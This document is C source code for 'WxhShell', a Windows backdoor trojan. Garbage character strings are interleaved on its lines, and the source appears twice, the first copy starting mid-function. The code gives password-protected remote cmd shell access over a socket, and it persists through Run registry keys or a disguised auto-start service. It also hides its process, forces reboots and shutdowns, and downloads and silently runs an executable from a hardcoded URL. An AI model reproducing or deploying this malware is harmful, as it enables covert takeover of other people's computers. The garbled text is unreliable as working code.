    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XWV~6"  
    else { zv@o- R$l  
    closesocket(wsh); + P.Ir  
    ExitThread(0); ;ecF~-oku  
    } ElxbHQj6  
    break; 8~&v\GDkF  
    } Xw)+5+t"{  
  // 获取shell s]OXB {M  
  case 's': { 0@;E8^pa  
    CmdShell(wsh); m^KkS   
    closesocket(wsh); ?zqXHv#x  
    ExitThread(0); Gr?gHAT  
    break; P6rL;_~e  
  } S)?B  I  
  // 退出 m`aUz}Y>c  
  case 'x': { p9J(,}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l[Oxf|  
    CloseIt(wsh); X3vrD{uNU  
    break; `h#JDcT;a  
    }  .~']gih#  
  // 离开 2e &Zs%u  
  case 'q': { nor`w,2VF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GEgf_C!%@  
    closesocket(wsh); yMxS'j1  
    WSACleanup(); i8F~$6C  
    exit(1); 1'U-n{fD  
    break; x g@;d  
        } .w&Z=YM  
  } ?##GY;#  
  } oT w1w  
O"GzeEY7  
  // 提示信息 8~7EWl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X.Kxio $o  
} w*0T"hK  
  } U*t `hn-xs  
%' Fc%3  
  return; :tMWy m  
} ;Lx5r=<Hx  
;F5%X\ t-  
// shell模块句柄 e^fjla5  
int CmdShell(SOCKET sock) )`a R?_  
{ SBA;p7^"  
STARTUPINFO si; 6O?O6Ub  
ZeroMemory(&si,sizeof(si)); @M-bE=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }|;n[+}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #PGExN3e  
PROCESS_INFORMATION ProcessInfo; ^`$KN0PY  
char cmdline[]="cmd"; $: -Ptm@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tW +I?  
  return 0; >:Ec   
} -J:vYhq|g  
&o(? }W  
// 自身启动模式 %3cBh v[q4  
int StartFromService(void) :iJ= 9  
{ <W1!n$V ]  
typedef struct hH~Z hB  
{ TQ FD  
  DWORD ExitStatus; quR':=S5f  
  DWORD PebBaseAddress; ;a|A1DmZ  
  DWORD AffinityMask; -95 `.o  
  DWORD BasePriority; 3e"G.0vJ  
  ULONG UniqueProcessId; f7L|Jc  
  ULONG InheritedFromUniqueProcessId; Xc.~6nYp  
}   PROCESS_BASIC_INFORMATION; ^,50]uX_  
uAJC Q)@  
PROCNTQSIP NtQueryInformationProcess; Q"\[ICu!,  
,}<v:!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /#HY-b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Jj ?C  
&p*N8S8  
  HANDLE             hProcess; [Gu]p&  
  PROCESS_BASIC_INFORMATION pbi; +r '  
\J6T:jeS,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )g-*fSa  
  if(NULL == hInst ) return 0; <[*s%9)'9  
b`IC)xN$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SYyH_0N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rv^j&X+EH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *fx<>aK  
v{I:Wxe  
  if (!NtQueryInformationProcess) return 0; TE/2}XG)  
}=++Lr4*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m{' q(w}  
  if(!hProcess) return 0; }b44^iL$9y  
I6UZ_H'E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e3[N#ryt  
'tOo0Zgc  
  CloseHandle(hProcess); Pai{?<zGi  
b"J(u|Du`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FQ[::*-  
if(hProcess==NULL) return 0; Z0x N9S  
:f `1  
HMODULE hMod; 4aGHks8Z,\  
char procName[255]; #fwG~Q(  
unsigned long cbNeeded; Ts^IA67&<  
yjr!8L:m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _3`{wzMA  
b2z~C{l  
  CloseHandle(hProcess); ";Lpf]<  
he/FtkU  
if(strstr(procName,"services")) return 1; // 以服务启动 :R _(+EK1  
pNDL:vMWP  
  return 0; // 注册表启动 upWq=_  
}  B} :[~R'  
\jC}>9  
// 主模块 ~;{)S}U@R  
int StartWxhshell(LPSTR lpCmdLine) \wM r[_LW  
{ H>VuUH|  
  SOCKET wsl; S\Q/ "Y  
BOOL val=TRUE; TkK- r(=  
  int port=0; M6?*\ 9E  
  struct sockaddr_in door; !X8:#a(  
"g0L n5&  
  if(wscfg.ws_autoins) Install(); w+Ag!O}.L  
pbu8Ib8z  
port=atoi(lpCmdLine); Iu%S><'+  
Pb!kl #  
if(port<=0) port=wscfg.ws_port; &a O3N  
#[2]B8NZ  
  WSADATA data; b" p,~{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7Rq;V=2YV  
($]y*| Obn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CfAX,f"ZP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bd9]'  
  door.sin_family = AF_INET; ,1od]]>(O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Ocyrn  
  door.sin_port = htons(port); ZNzye1JSm  
@ %kCe>r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { afH`<!  
closesocket(wsl); %U'YOE6  
return 1; b{9q   
} m39 `f,M  
W0X?"Ms|a  
  if(listen(wsl,2) == INVALID_SOCKET) { 5`0tG;  
closesocket(wsl); ]^"*Fdn  
return 1; Ig]Gg/1G  
} qbmy~\ZY  
  Wxhshell(wsl); t(^c]*r~  
  WSACleanup(); S.BM/M  
1S<V,9(  
return 0; fH>]>2fS  
jg#%h`  
} w R1M_&-s  
$TWt[  
// 以NT服务方式启动 :FB#,AOa_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?~;G)5  
{ ~[Mm0L}8  
DWORD   status = 0; kpcIU7|e  
  DWORD   specificError = 0xfffffff; (@~d9PvB>  
!XQG1!|ww  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2BEF8o]Np  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uk5jZ|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )9,9yd~SI  
  serviceStatus.dwWin32ExitCode     = 0; GAV|x]R  
  serviceStatus.dwServiceSpecificExitCode = 0; /`3< @{D  
  serviceStatus.dwCheckPoint       = 0; j $a,93P5  
  serviceStatus.dwWaitHint       = 0; #"=_GA^.{  
"^yTH/m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?u"MsnCXYn  
  if (hServiceStatusHandle==0) return; l}># p'$  
r1 )Og  
status = GetLastError(); R6*:Us0\FJ  
  if (status!=NO_ERROR) Pqi>,c<&mL  
{ noV]+1#"V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =.f]OWehu.  
    serviceStatus.dwCheckPoint       = 0; (@>X!]{$  
    serviceStatus.dwWaitHint       = 0; 1 @tVfn}  
    serviceStatus.dwWin32ExitCode     = status; Y[#i(5w  
    serviceStatus.dwServiceSpecificExitCode = specificError; H0_hQ:K   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo4;?z  
    return; 9=89)TrY  
  } /w$<0hH#'8  
y7txIe!<5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Q47Rriw  
  serviceStatus.dwCheckPoint       = 0; + v{<<  
  serviceStatus.dwWaitHint       = 0; @;!s"!~sv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g`k_o<'JC  
} 43^%f-J 5  
eJIBkFW/3y  
// 处理NT服务事件,比如:启动、停止 HI*xk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |]w0ytL>(2  
{ {=VauF  
switch(fdwControl) :%~+&qS  
{ -$!`8[fM  
case SERVICE_CONTROL_STOP: /{#1w\  
  serviceStatus.dwWin32ExitCode = 0; "z8L}IC!e5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; POdk0CuX  
  serviceStatus.dwCheckPoint   = 0; ppP7jiGo  
  serviceStatus.dwWaitHint     = 0; "X=l7{c/  
  { =0cyGo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -y;SR+  
  } 3XjM@D  
  return; hlWTsi4N  
case SERVICE_CONTROL_PAUSE: Xkk m~sM6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :)_Ap{9J  
  break; X!Xl  
case SERVICE_CONTROL_CONTINUE: ?KDI'>"-v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n(\5Z&  
  break; X!KjRP\\  
case SERVICE_CONTROL_INTERROGATE: sluR @[l  
  break; -Zh`h8gX  
}; *"2TT})   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l_Mi'}j  
} ' !>t( Sa  
L}7c{6!F7  
// 标准应用程序主函数 N&n2\Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /~Zxx}<;  
{ hosw :%  
c;C:$B7  
// 获取操作系统版本 )/A IfH  
OsIsNt=GetOsVer(); ) ,1MR=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3R>U^ Y  
}D-h=,];  
  // 从命令行安装 pHSq,XP-  
  if(strpbrk(lpCmdLine,"iI")) Install(); zZE 2%fqM  
R/&Bze  
  // 下载执行文件 ,{!~rSq-l  
if(wscfg.ws_downexe) { Z<T%:F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ke@zS9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ju4={^#  
} Lwm2:_\_b  
@=B'<&g$Xv  
if(!OsIsNt) { )>abB?RZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 :yO.Te F  
HideProc(); LT']3w  
StartWxhshell(lpCmdLine); l( /yaZ`  
} 1$vsw  
else O+~.p  
  if(StartFromService()) eAR]~ NiW  
  // 以服务方式启动 Op%}.9ed  
  StartServiceCtrlDispatcher(DispatchTable); H*BzwbM?  
else _7Z|=)  
  // 普通方式启动 AC :cV='  
  StartWxhshell(lpCmdLine); !l-^JPb  
]"Z*Hq z  
return 0; s_xWvx8?4.  
} _PUgK\  
P0WI QG+  
]NgK(I U  
MdM^!sk&`  
=========================================== )D?\ru H  
/ V}>v  
'i#m%D`dt  
|>(d^<nR^v  
X~wkqI#d%E  
A82Bn|J  
" hqOy*!8'@  
w],+lN;  
#include <stdio.h> s8 S[w   
#include <string.h> BBnW0vAZ*  
#include <windows.h> =g| e- XC  
#include <winsock2.h> t-7^deG'/n  
#include <winsvc.h> *[K\_F?^h  
#include <urlmon.h> Ct2m l  
IO3`/R-  
#pragma comment (lib, "Ws2_32.lib") NGZEUtj  
#pragma comment (lib, "urlmon.lib") #'m&<g,  
} m5AO4:  
#define MAX_USER   100 // 最大客户端连接数 v%N/mL+5L  
#define BUF_SOCK   200 // sock buffer aD)XxXwozm  
#define KEY_BUFF   255 // 输入 buffer lYEMrr!KQw  
M| r6"~i  
#define REBOOT     0   // 重启 1|/P[!u  
#define SHUTDOWN   1   // 关机 W3K&C[f  
aBv3vSq> Q  
#define DEF_PORT   5000 // 监听端口 "BSSA%u?c  
4pNIsjl}  
#define REG_LEN     16   // 注册表键长度 1UG5Q-  
#define SVC_LEN     80   // NT服务名长度 p4mlS  
J?4aSssE  
// 从dll定义API {KkP"j'7h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V}<Hx3!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P>q"P1&{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `\!oY;jk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W+N9~.q\^  
#lDf8G|ST~  
// wxhshell配置信息 Z +%Uwj  
struct WSCFG { 4wfT8CL  
  int ws_port;         // 监听端口 /'vCO |?L  
  char ws_passstr[REG_LEN]; // 口令 uFxhr2 <z  
  int ws_autoins;       // 安装标记, 1=yes 0=no : V16bRpjL  
  char ws_regname[REG_LEN]; // 注册表键名 zzmZ`Ya  
  char ws_svcname[REG_LEN]; // 服务名 EAiE@r>4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sbnNk(XINQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l-|hvv5g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M-> /vi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ={_.}   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ND);7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Np$peT[  
':al4m"  
}; &.XYI3Ab1  
zdY+?s)p  
// default Wxhshell configuration 0a<:.}  
struct WSCFG wscfg={DEF_PORT, ?1%/G<  
    "xuhuanlingzhe", 8z,i/:  
    1, N$u;Q(^  
    "Wxhshell", 'nH/Z 84  
    "Wxhshell", (Uk1Rt*h  
            "WxhShell Service", 1e=<df  
    "Wrsky Windows CmdShell Service", xDtq@Rb}  
    "Please Input Your Password: ", =apcMW(zn  
  1, #H]b Xr  
  "http://www.wrsky.com/wxhshell.exe", g )H>Uu5@  
  "Wxhshell.exe" pPr/r& r  
    }; rHhn)m  
] Tc!=SV  
// 消息定义模块 cH$zDm1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; />1Ndj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (S ~|hk^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 43_;Z| T  
char *msg_ws_ext="\n\rExit."; j TVh`d< N  
char *msg_ws_end="\n\rQuit."; :|%dV}j  
char *msg_ws_boot="\n\rReboot..."; ]WLQ q4q  
char *msg_ws_poff="\n\rShutdown..."; m$glRs @  
char *msg_ws_down="\n\rSave to "; o)w8 ]H /  
_3_d;j#G U  
char *msg_ws_err="\n\rErr!"; 4 yLC  
char *msg_ws_ok="\n\rOK!"; Yr9>ATR  
Twscc"mK  
char ExeFile[MAX_PATH]; c*0pF=3  
int nUser = 0; `dB!Ia|  
HANDLE handles[MAX_USER]; 96W!~w2xx  
int OsIsNt; -mD<8v[F  
f5)4H  
SERVICE_STATUS       serviceStatus; cW+6Emh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZM)Y Rdh  
'n'83d)z  
// 函数声明 LR:Qb]|"  
int Install(void); :^ 9sy  
int Uninstall(void); V=#L@ws  
int DownloadFile(char *sURL, SOCKET wsh); Sw##C l#  
int Boot(int flag); f"^G\  
void HideProc(void); Y6LoPJ  
int GetOsVer(void); ?~G D^F  
int Wxhshell(SOCKET wsl); X6_m&~}15  
void TalkWithClient(void *cs); n,KOQI;  
int CmdShell(SOCKET sock); bj6-0`  
int StartFromService(void); Ie3 F  
int StartWxhshell(LPSTR lpCmdLine); 5p9zl=mT  
8<cD+Jtj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I%dFVt@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SSi-Z  
`o7m)T')  
// 数据结构和表定义 "BN-Jvb7q  
SERVICE_TABLE_ENTRY DispatchTable[] = ^4jIT1  
{ 4[@`j{  
{wscfg.ws_svcname, NTServiceMain}, gO C5  
{NULL, NULL} li>`9qCmI  
}; o_un=ygU  
,`<w#  
// 自我安装 1PwqW g-\\  
int Install(void) ]<3$Sx_{y  
{ qEd!g,Sx  
  char svExeFile[MAX_PATH]; AEjkqG4qv  
  HKEY key; 5)=XzO0  
  strcpy(svExeFile,ExeFile); Z4eu'.r-y~  
[/.5{|&GSt  
// 如果是win9x系统,修改注册表设为自启动 iUcDj:  
if(!OsIsNt) { FScE3~R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q4YIKNN|7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m%8idjnG  
  RegCloseKey(key); -#yLH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eK }AVz}k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vfW  
  RegCloseKey(key); *0 y|0J+ 0  
  return 0; }=kf52Am,}  
    } SG6@Rn*^  
  } D@[Mk"f  
} !1MSuvWP  
else { ]?<j]u0J  
+-=o16*{ !  
// 如果是NT以上系统,安装为系统服务 p h[ ^ve  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z"`q-R }m  
if (schSCManager!=0) \/8 I6a=  
{ ]6wo]nV[P  
  SC_HANDLE schService = CreateService eQBR*@x  
  ( ?t LJe  
  schSCManager, XY(3!>/eQ[  
  wscfg.ws_svcname, 5w:   
  wscfg.ws_svcdisp, yGN@Hd:9  
  SERVICE_ALL_ACCESS, Y6(I %hE`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X2 {n&K  
  SERVICE_AUTO_START, 7%aaqQ1T  
  SERVICE_ERROR_NORMAL, #q2 cVN1  
  svExeFile, ]ZkhQ%  
  NULL, j~+<~2%c  
  NULL, 4z~ fn9g  
  NULL, 5B+>28G%  
  NULL, >Le L%$  
  NULL Y..   
  ); ,X Zo0 !  
  if (schService!=0) ,Lt+*!;m  
  { - i``yf?P  
  CloseServiceHandle(schService); %vPs38Fks  
  CloseServiceHandle(schSCManager); *Vk%"rwaG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [da,SM  
  strcat(svExeFile,wscfg.ws_svcname); xA;o3Or  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OoKzPePWji  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V=";vRS8  
  RegCloseKey(key); (;1FhIi&  
  return 0; imcq H  
    } K\5'pp1  
  } \RcB,?OK  
  CloseServiceHandle(schSCManager); LM:|Kydp3  
} cr!6qv1  
} 74*1|S <  
w9D<^(_}/  
return 1; 7.4Q  
} 2ye^mJ17  
:+;AXnDM~  
// 自我卸载 l?CUd7P(a  
int Uninstall(void) C`F*00M{  
{ fuM+{1}/E  
  HKEY key; l"%|VWZ{iq  
-^=sxi,V  
if(!OsIsNt) { i_OoR"J%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V|.3Z\(  
  RegDeleteValue(key,wscfg.ws_regname); d4c-(ZRl  
  RegCloseKey(key); [uxhdR`T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT?.Mte  
  RegDeleteValue(key,wscfg.ws_regname); G)28#aH  
  RegCloseKey(key); $YvT* T$_  
  return 0; 8zew8I~s  
  } 5Z{h!}Y  
} %AbA(F  
} 2.)@u~^Q  
else { T:+%3+;a  
F"O{eK0T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +W+O7SK\y  
if (schSCManager!=0) b#h?O}  
{ Uq/#\7/rL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !4uTi [e  
  if (schService!=0) (uG.s%I  
  { QF/A-[V  
  if(DeleteService(schService)!=0) { 3nt&Sf  
  CloseServiceHandle(schService); wCiDvHF5+C  
  CloseServiceHandle(schSCManager); n`";ctQT  
  return 0; fsa  
  } D8P<mIu}Y  
  CloseServiceHandle(schService); `_Bvae j?,  
  } %lZ++?&^  
  CloseServiceHandle(schSCManager); l,}{Y4\G  
} KE\p|Xi  
} t ZUZNKODW  
D$g|f[l  
return 1; $M\|zUQu.  
} iTgGf  
j""I,$t  
// 从指定url下载文件 )5Yv7x(K  
int DownloadFile(char *sURL, SOCKET wsh) Z5juyzj  
{ 7sECbbJT  
  HRESULT hr; TQm x$  
char seps[]= "/"; y3T- ^  
char *token; BcaMeb-Z  
char *file; kR%bdN  
char myURL[MAX_PATH]; WrhC q6  
char myFILE[MAX_PATH]; xz#;F ,`ZR  
#*uSYGdc  
strcpy(myURL,sURL); 65bLkR{0  
  token=strtok(myURL,seps); ?Dro)fH1  
  while(token!=NULL) ,]@K6  
  { q;3,}emg  
    file=token; kYBTmz} z  
  token=strtok(NULL,seps); }B2H)dG^K  
  } dsP|j (y  
|K?fVL  
GetCurrentDirectory(MAX_PATH,myFILE); `j*&F8}  
strcat(myFILE, "\\"); QjETu  
strcat(myFILE, file); iMRb` \KH  
  send(wsh,myFILE,strlen(myFILE),0); K 1>.%m  
send(wsh,"...",3,0); %]%.{W\j3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \&\_[y8U  
  if(hr==S_OK) v{Cts3?Br  
return 0; }$u]aX<  
else .#R\t 7m%  
return 1; Z!Sv/ 5xx  
\KfngYD]W  
} \3dM A_5  
KZO!  
// 系统电源模块 ~Nf0 1,F  
int Boot(int flag) J 2%^%5&0  
{ rP.qCl+J  
  HANDLE hToken; K[RlR+j  
  TOKEN_PRIVILEGES tkp; H=]$9ZH!  
"~x\bSY  
  if(OsIsNt) { }h<\qvCcU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3/8o)9f.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 21GjRPs\  
    tkp.PrivilegeCount = 1; 6'W79  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~rE U83  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xB:,l'\G  
if(flag==REBOOT) { log{jF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .>>@q!!s!  
  return 0; `we2zT  
} ]d?`3{h9LD  
else { flTK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pc&/'zb  
  return 0; vC~];!^  
} E :*!an  
  } &,+G}  
  else { I1U{t  
if(flag==REBOOT) { q /EK ]B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 m&"x/k  
  return 0; ?cr;u~-=  
} o:#l r{  
else { 9F)v=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PCnE-$QH  
  return 0; K^tM$l\  
}  Py\xN  
} $K^"a  
gWA)V*}f  
return 1; +B^ / =3P  
} aB<~T[H%h  
B, nCx=\S  
// win9x进程隐藏模块 x3>K{  
void HideProc(void) CF9a~^+%  
{ b!SGQv(^M  
T8>:@EL-k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JC`|GaUy  
  if ( hKernel != NULL ) :FwXoJc_+5  
  { /Ik_U?$*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7a0ZI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `kIzT!HX  
    FreeLibrary(hKernel); G_zJuE$V  
  } aKS 2p3   
`;WiTE)&)  
return; Z `O.JE  
} :gDIGBK,  
0trVmWQ8  
// 获取操作系统版本 w=d#y )1  
int GetOsVer(void) 8lI#D)}  
{ '#xxjhF^  
  OSVERSIONINFO winfo; Rct|"k_"Ys  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r~F T,  
  GetVersionEx(&winfo); ,WA7Kp9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1"A1bK  
  return 1; 3sc5meSu'  
  else S6,AY(V  
  return 0; ;YNN)P%"  
} \c>9f"jS_  
53P\OG^G`  
// 客户端句柄模块 Q6Y1Jr">X  
int Wxhshell(SOCKET wsl) ZgF-.(GV  
{ _1hc^j  
  SOCKET wsh; %Fq"4%  
  struct sockaddr_in client; -[i9a:eRM  
  DWORD myID; tY !fO>Fn~  
~1wAk0G`n  
  while(nUser<MAX_USER) xB3;%Lc  
{ >8Zz<S&z  
  int nSize=sizeof(client); ^DXERt&3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }$#e&&)n  
  if(wsh==INVALID_SOCKET) return 1; +mhYr]Z  
=$Sf]L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { ,.1KtrSN  
if(handles[nUser]==0) ,)'!E^n  
  closesocket(wsh); pSkP8'  ?  
else im9 B=D  
  nUser++; 85$MHod}[,  
  } pBiC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #rMMOu9r2  
|xQG  
  return 0; :Gqyj_|<  
} 9=@j]g|  
>T;"bc b  
// 关闭 socket ]Gow  
void CloseIt(SOCKET wsh) [' R2$z  
{ yw"FI!M  
closesocket(wsh); >WE3$Q>bi  
nUser--; y/mxdP w  
ExitThread(0); Bk a\0+  
} _X;^'mqf~  
LdI)  
// 客户端请求句柄 iq,qf)BY.|  
void TalkWithClient(void *cs) LdR}v%EH  
{ *ntq;]  
[%;LZZgl  
  SOCKET wsh=(SOCKET)cs; ?VEJk,/k  
  char pwd[SVC_LEN]; iI+kZI-  
  char cmd[KEY_BUFF]; qd~)Ya1  
char chr[1]; \.myLkm  
int i,j; b')CGqbbmT  
H)t YxW  
  while (nUser < MAX_USER) { xB]~%nC[O  
0z&3jWWY@  
if(wscfg.ws_passstr) { pD##lkJr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g[*+R9'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #tN)OZA  
  //ZeroMemory(pwd,KEY_BUFF); (S0MqX*  
      i=0; 'Fo*h6=  
  while(i<SVC_LEN) { ncb?iJ/b^  
6g8{;6x  
  // 设置超时 1""9+4  
  fd_set FdRead; 6hXL`A&},  
  struct timeval TimeOut; y`:}~nUdT  
  FD_ZERO(&FdRead); T9KzVxHp5  
  FD_SET(wsh,&FdRead); '[I_Iu#,  
  TimeOut.tv_sec=8; 8HX(1nNj}  
  TimeOut.tv_usec=0; )+wBS3BC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4LtFv)i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K6@QZc5.!  
=#^%; 66z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iOPv % [  
  pwd=chr[0]; '?E^\\"*  
  if(chr[0]==0xd || chr[0]==0xa) { ldrKk'S,B  
  pwd=0; P .3j |)NW  
  break; Im{50%Y  
  } Vi23pDZ5  
  i++; V;L^q?v !  
    } x8.7])?w  
~IZ'zuc  
  // 如果是非法用户,关闭 socket ->6 /L)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zHG KPuk'  
} Wd_bDZQ  
OZ&J'Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -LzHCO/7(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y"D'|i  
+8."z"i3lE  
while(1) { r|:|\"Yk  
A`Z!=og=  
  ZeroMemory(cmd,KEY_BUFF); j;<Yje&Wz  
-2o4v#d  
      // 自动支持客户端 telnet标准   VxLq,$B76  
  j=0; (WR&Vt4Rh  
  while(j<KEY_BUFF) { ;i^p6b j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T.<er iv  
  cmd[j]=chr[0]; 49nZWv48"_  
  if(chr[0]==0xa || chr[0]==0xd) { Zn1+} Z@I  
  cmd[j]=0; kwMuL>5  
  break; yTz@q>6s-  
  } {r`l  
  j++; zwN;CD1  
    } -dsB@nPiUw  
VmF?8Vi4  
  // 下载文件 6b9Ddb*  
  if(strstr(cmd,"http://")) { xYc)iH6&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &1%W-&bc6  
  if(DownloadFile(cmd,wsh)) 'j !!h4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sDK lbb  
  else -. L)-%wIV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N $M#3Y;  
  } (BVLlOo?J  
  else { v$K`C;  
'v* =}k  
    switch(cmd[0]) { }$hxD9z  
  W*QD'  
  // 帮助 A)2vjM9}K  
